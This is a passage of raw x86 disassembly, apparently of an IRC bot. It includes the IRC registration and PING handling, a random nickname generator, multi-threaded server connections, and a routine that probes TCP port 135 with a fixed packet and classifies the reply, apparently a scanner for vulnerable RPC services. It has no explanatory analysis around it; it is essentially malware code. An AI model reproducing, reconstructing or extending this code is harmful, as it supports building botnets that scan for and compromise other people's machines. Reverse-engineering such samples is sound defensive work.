short loc_4178A0 test [ebp+var_13], 1 jnz short loc_4178A0 push ecx push 8 call edi push eax nop call near ptr 27C0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27D0000h nop test eax, eax jz short loc_41788C push offset dword_4D3830 push esi call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_41788C lea eax, [esi+400h] push offset dword_4D4030 push eax call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_4178BC loc_41788C: ; CODE XREF: sub_4177C3+9Fj ; sub_4177C3+B0j push esi push 0 call edi push eax nop call near ptr 27B0000h jmp short loc_4178A0 ; --------------------------------------------------------------------------- loc_41789A: ; CODE XREF: sub_4177C3+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4178A0: ; CODE XREF: sub_4177C3+71j ; sub_4177C3+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_41780E loc_4178AC: ; CODE XREF: sub_4177C3+3Fj push [ebp+arg_0] nop call near ptr 26608D5h loc_4178B5: ; CODE XREF: sub_4177C3+1Ej xor eax, eax loc_4178B7: ; CODE XREF: sub_4177C3+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4178BC: ; CODE XREF: sub_4177C3+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D4A4C, ebx mov dword_4D4A50, eax cmp [eax], cl jnz short loc_4178DE cmp [eax+1], cl jz short loc_4178E6 loc_4178DE: ; CODE XREF: sub_4177C3+114j ; sub_4177C3+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4178DE loc_4178E6: ; CODE XREF: sub_4177C3+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26608D5h push 1 pop eax jmp short loc_4178B7 sub_4177C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4A48 push esi mov esi, dword_427154 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27C0000h mov ecx, dword_4D4A48 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4A50 push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4A54 push eax call dword_4D4834 push [ebp+var_4] mov edi, offset dword_4D4840 push offset dword_4D3830 push offset dword_4D4030 push [ebp+arg_0] push offset dword_4386C4 push 200h push edi call sub_41C360 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 27B0000h nop mov eax, edi pop edi pop esi leave retn sub_4178F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4A48 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 27C0AA9h nop push eax nop call near ptr 27C0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D4030 mov edi, 200h mov esi, offset dword_4D3630 loc_4179D6: ; CODE XREF: sub_417990+FAj mov eax, dword_4D4A48 add eax, eax push eax push dword_4D4A50 push [ebp+var_14] call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4834 mov eax, dword_4D4A48 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417A4B loc_417A13: ; CODE XREF: sub_417990+B3j cmp [ebp+var_8], 0 jz short loc_417A68 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417A37 cmp byte ptr [ecx+1], 0 jnz short loc_417A37 cmp dl, 20h jnb short loc_417A31 and [ebp+var_8], 0 loc_417A31: ; CODE XREF: sub_417990+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417A3B loc_417A37: ; CODE XREF: sub_417990+90j ; sub_417990+96j and [ebp+var_8], 0 loc_417A3B: ; CODE XREF: sub_417990+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417A13 cmp [ebp+var_8], 0 jz short loc_417A68 loc_417A4B: ; CODE XREF: sub_417990+81j push [ebp+var_14] push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_4386C4 push edi push esi call sub_41C360 add esp, 1Ch jmp short loc_417A80 ; --------------------------------------------------------------------------- loc_417A68: ; CODE XREF: sub_417990+87j ; sub_417990+B9j push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_438714 push edi push esi call sub_41C360 add esp, 18h loc_417A80: ; CODE XREF: sub_417990+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4179D6 push [ebp+var_14] push 0 nop call near ptr 27C0AA9h push eax nop call near ptr 27B0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_417990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417B25 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_417B0A push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_417B25 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417B0A: ; CODE XREF: sub_417AA9+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_417B29 push edi call dword_4CBA6C loc_417B25: ; CODE XREF: sub_417AA9+1Bj ; sub_417AA9+58j mov eax, esi jmp short loc_417B2B ; --------------------------------------------------------------------------- loc_417B29: ; CODE XREF: sub_417AA9+73j mov eax, edi loc_417B2B: ; CODE XREF: sub_417AA9+7Ej pop edi pop esi leave retn sub_417AA9 endp ; =============== S U B R O U T I N E ======================================= sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp ; sub_401ACD+32B6p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41C8A0 pop ecx mov esi, offset dword_4D4A5C pop ecx loc_417B47: ; CODE XREF: sub_417B2F+42j cmp dword ptr [esi-4], 1 jnz short loc_417B65 cmp dword ptr [esi], 0 jbe short loc_417B65 push 0 push edi call sub_41B9C0 pop ecx push eax push edi push dword ptr [esi] call dword_4CBA24 loc_417B65: ; CODE XREF: sub_417B2F+1Cj ; sub_417B2F+21j add esi, 210h cmp esi, offset dword_4DB17C jl short loc_417B47 pop edi pop esi retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B76 proc near ; CODE XREF: sub_417C61+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDC0 ; " " push edi push esi push [ebp+arg_0] call sub_41CAD4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B9B: ; CODE XREF: sub_417B76+35j push esi push 0 call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B9B mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417BC3 cmp esi, edi jnz short loc_417BC3 push 1 pop eax jmp loc_417C5C ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B76+3Fj ; sub_417B76+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41CA50 pop ecx pop ecx test eax, eax push esi jnz short loc_417BDE push offset dword_43932C jmp short loc_417C2C ; --------------------------------------------------------------------------- loc_417BDE: ; CODE XREF: sub_417B76+5Fj push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417BFF push esi push offset dword_439328 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_417C5A loc_417BFF: ; CODE XREF: sub_417B76+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BF70 lea eax, [ebp+var_420] push eax call sub_417E84 add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_43931C loc_417C2C: ; CODE XREF: sub_417B76+66j lea eax, [ebp+var_220] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CBA24 loc_417C5A: ; CODE XREF: sub_417B76+87j xor eax, eax loc_417C5C: ; CODE XREF: sub_417B76+48j pop edi pop esi pop ebx leave retn sub_417B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C61 proc near ; DATA XREF: sub_417E06+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C500 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4A64[esi] mov dword_4D4A58[esi], edi push dword_4D4C64[esi] push eax call sub_417AA9 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D4A5C[esi], eax jb loc_417DE6 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BF70 lea eax, [ebp+var_2008] push eax call sub_417E84 lea eax, [ebp+var_4008] push eax call sub_417E84 lea eax, [ebp+var_3008] push eax call sub_417E84 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D4A5C[esi] call dword_4CBA24 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch loc_417D3D: ; CODE XREF: sub_417C61+111j ; sub_417C61+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D4A5C[esi] call dword_4CB9EC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417DE6 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417D3D loc_417D74: ; CODE XREF: sub_417C61+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D9B cmp al, 0Ah jz short loc_417D9B cmp [ebp+arg_0], 0FA0h jz short loc_417D9B mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417DD5 ; --------------------------------------------------------------------------- loc_417D9B: ; CODE XREF: sub_417C61+11Cj ; sub_417C61+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417DD5 push dword_4D4A5C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B76 pop ecx test eax, eax pop ecx ja short loc_417DE6 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+arg_0], ebx loc_417DD5: ; CODE XREF: sub_417C61+138j ; sub_417C61+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D74 jmp loc_417D3D ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: sub_417C61+40j ; sub_417C61+107j ... mov dword_4D4A58[esi], ebx mov esi, dword_4D4A5C[esi] cmp esi, ebx jbe short loc_417DFD push esi call dword_4CBA6C loc_417DFD: ; CODE XREF: sub_417C61+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E7F loc_417E18: ; CODE XREF: sub_417E06+77j xor edi, edi mov eax, offset dword_4D4A58 loc_417E1F: ; CODE XREF: sub_417E06+28j cmp [eax], ebx jz short loc_417E30 add eax, 210h inc edi cmp eax, offset dword_4DB178 jl short loc_417E1F loc_417E30: ; CODE XREF: sub_417E06+1Bj cmp edi, 31h jz short loc_417E7F mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4A64[esi] push eax call sub_41C890 mov eax, [ebp+arg_4] pop ecx mov dword_4D4C64[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4A58[esi], 1 push eax push ebx push edi push offset sub_417C61 push ebx push ebx nop call near ptr 2680000h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417E18 loc_417E7F: ; CODE XREF: sub_417E06+10j ; sub_417E06+2Dj pop edi pop esi pop ebx leave retn sub_417E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp ; sub_401ACD+3747p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 add esp, 0Ch call sub_41C2C2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276D8 call sub_41D174 cmp eax, 1 jnz short loc_417ECE call sub_41C2C2 call sub_41C2C2 push 66h cdq pop ecx idiv ecx push off_438A68[edx*4] jmp short loc_417EE7 ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417E84+2Fj call sub_41C2C2 call sub_41C2C2 cdq mov ecx, 0C0h idiv ecx push off_438768[edx*4] loc_417EE7: ; CODE XREF: sub_417E84+48j lea eax, [ebp+var_2C] push eax call sub_41C890 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B9C0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41D174 mov ebx, eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F5A cmp esi, 3 jnz short loc_417F51 cmp ebx, 1 jz short loc_417F5A loc_417F51: ; CODE XREF: sub_417E84+C6j cmp eax, 1 jnz loc_418014 loc_417F5A: ; CODE XREF: sub_417E84+C1j ; sub_417E84+CBj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41D174 push off_438A68[eax*4] lea eax, [ebp+var_40] push eax call sub_41C890 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C990 add esp, 10h test eax, eax jnz short loc_418001 movsx eax, [ebp+var_40] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_418001 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_418001 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418001: ; CODE XREF: sub_417E84+111j ; sub_417E84+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41CBC0 add esp, 0Ch loc_418014: ; CODE XREF: sub_417E84+D0j lea eax, [ebp+var_2C] push eax call sub_41B9C0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DEE8 pop ecx test eax, eax pop ecx jnz loc_41827C and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz loc_418173 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp esi, 3 jz short loc_418082 cmp eax, 1 jnz loc_418173 loc_418082: ; CODE XREF: sub_417E84+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4180C4 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_4180C4: ; CODE XREF: sub_417E84+207j call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebx], cl loc_4180E0: ; CODE XREF: sub_417E84+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41D174 cmp esi, 3 jz short loc_418109 cmp eax, ebx jnz short loc_418173 loc_418109: ; CODE XREF: sub_417E84+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41814E push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41816C ; --------------------------------------------------------------------------- loc_41814E: ; CODE XREF: sub_417E84+28Fj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41816C: ; CODE XREF: sub_417E84+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418173: ; CODE XREF: sub_417E84+1C9j ; sub_417E84+1F8j ... cmp esi, 6 jge loc_4181FC cmp esi, 5 jge short loc_418194 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_417E84+2FBj call sub_41C2C2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 loc_4181B2: ; CODE XREF: sub_417E84+30Ej call sub_41D174 test eax, eax jnz short loc_4181D5 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181D5: ; CODE XREF: sub_417E84+335j cmp eax, 1 jnz short loc_4181FC call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h loc_4181F2: ; CODE XREF: sub_417E84+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181FC: ; CODE XREF: sub_417E84+2F2j ; sub_417E84+354j cmp [ebp+var_C], 2 jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A0 call sub_41D174 cmp eax, 1 jnz short loc_41827C cmp [ebp+var_C], eax jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_427698 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41827C: ; CODE XREF: sub_417E84+1B1j ; sub_417E84+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BFD0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418295 proc near ; CODE XREF: sub_4182CD+125p ; sub_4182CD+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_4182C3 loc_4182A6: ; CODE XREF: sub_418295+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DF40 add esp, 0Ch test eax, eax jz short loc_4182C9 inc esi cmp esi, edi jl short loc_4182A6 loc_4182C3: ; CODE XREF: sub_418295+Fj xor al, al loc_4182C5: ; CODE XREF: sub_418295+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4182C9: ; CODE XREF: sub_418295+27j mov al, 1 jmp short loc_4182C5 sub_418295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CD proc near ; CODE XREF: ___:0040DFD7p ; ___:0040E0C0p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C500 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41830E dec eax jz short loc_4182EC dec eax loc_4182E6: ; CODE XREF: sub_4182CD+57j xor eax, eax loc_4182E8: ; CODE XREF: sub_4182CD+3Fj ; sub_4182CD+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_4182CD+16j push 3 push 1388h push [ebp+arg_0] call dword_4CBA14 push eax call sub_40C34B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4182E8 ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_4182CD+13j push 6 push 1 push 2 call dword_4CBA54 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4182E6 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C cmp eax, edi jz loc_41842A push ebx push 48h push offset dword_439374 push esi call dword_4CBA24 cmp eax, edi jz loc_41842A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC cmp eax, edi jz loc_41842A cmp [ebp+var_200E], 0Ch jnz short loc_41842A push ebx push 18h push offset dword_4393C0 push [ebp+arg_4] call dword_4CBA24 cmp eax, edi jz short loc_41842A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC mov esi, eax cmp esi, edi jz short loc_41842A cmp [ebp+var_200E], 2 jnz short loc_41842A push 10h push offset loc_4393DC lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h test al, al jz short loc_41840A cmp esi, 12Ch setnl bl inc ebx jmp short loc_41842A ; --------------------------------------------------------------------------- loc_41840A: ; CODE XREF: sub_4182CD+12Fj push 10h push offset dword_4393F0 lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41842A: ; CODE XREF: sub_4182CD+9Bj ; sub_4182CD+B2j ... push [ebp+arg_4] call dword_4CBA6C mov eax, ebx pop ebx jmp loc_4182E8 sub_4182CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p ; sub_401ACD+C0Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_4184C6 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_4184C6 cmp [ebp+arg_8], esi jz short loc_4184C6 cmp byte ptr [eax], 0 jz short loc_4184C6 push ebx push edi call sub_426465 mov ebx, eax pop ecx test ebx, ebx jz short loc_4184C1 push [ebp+arg_4] push edi call sub_41C2E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4184BA sub eax, edi push eax push edi push ebx call sub_41BFD0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B9C0 push eax push [ebp+arg_8] push ebx call sub_41CBC0 push [ebp+arg_4] call sub_41B9C0 add eax, esi push eax push ebx call sub_41C8A0 push ebx push edi call sub_41C890 add esp, 30h mov esi, edi loc_4184BA: ; CODE XREF: sub_41843B+3Cj push ebx call sub_41BA91 pop ecx loc_4184C1: ; CODE XREF: sub_41843B+2Bj mov eax, esi pop ebx jmp short loc_4184C8 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_41843B+Cj ; sub_41843B+13j ... xor eax, eax loc_4184C8: ; CODE XREF: sub_41843B+89j pop edi pop esi pop ebp retn sub_41843B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184CC proc near ; CODE XREF: sub_401955+E9p ; ___:00410CF1p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BF70 mov esi, [ebp+arg_0] push esi call sub_41B9C0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418502 or eax, 0FFFFFFFFh jmp short loc_418575 ; --------------------------------------------------------------------------- loc_418502: ; CODE XREF: sub_4184CC+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_418524 loc_41850E: ; CODE XREF: sub_4184CC+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41851B cmp dl, 0Dh jnz short loc_41851F loc_41851B: ; CODE XREF: sub_4184CC+48j and byte ptr [ecx+esi], 0 loc_41851F: ; CODE XREF: sub_4184CC+4Dj inc ecx cmp ecx, eax jl short loc_41850E loc_418524: ; CODE XREF: sub_4184CC+40j xor edx, edx push edi test eax, eax jle short loc_418555 lea edi, [ebp+var_7CC] loc_418531: ; CODE XREF: sub_4184CC+87j cmp byte ptr [edx+esi], 0 jnz short loc_418550 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418550 cmp ebx, 1F4h jge short loc_418555 mov [edi], ecx inc ebx add edi, 4 loc_418550: ; CODE XREF: sub_4184CC+69j ; sub_4184CC+74j inc edx cmp edx, eax jl short loc_418531 loc_418555: ; CODE XREF: sub_4184CC+5Dj ; sub_4184CC+7Cj 